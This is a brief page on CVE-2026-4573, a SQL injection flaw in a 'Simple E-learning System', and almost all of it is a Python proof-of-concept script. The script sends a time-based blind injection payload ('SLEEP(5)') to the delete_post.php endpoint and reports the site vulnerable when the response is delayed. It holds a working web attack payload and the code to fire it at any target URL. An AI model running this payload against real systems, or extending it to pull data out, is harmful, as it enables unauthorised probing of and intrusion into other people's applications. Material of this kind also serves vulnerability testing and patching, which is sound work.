CVE-2026-4573 Simple E-learning System SQL注入漏洞

import requests # Simple PoC to check for SQL Injection in CVE-2026-4573 def check_sqli(url): target = f"{url}/includes/form_handlers/delete_post.php" # Payload for time-based blind injection payload = "?post_id=1' AND SLEEP(5)-- -" try: response = requests.get(target + payload, timeout=10) # If response takes longer than 5 seconds (plus overhead), it's vulnerable if response.elapsed.total_seconds() > 5: print("[+] Vulnerability detected: Time-based SQL Injection") else: print("[-] Not vulnerable or payload failed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_url = "http://localhost/simple-e-learning" # Replace with actual target check_sqli(target_url)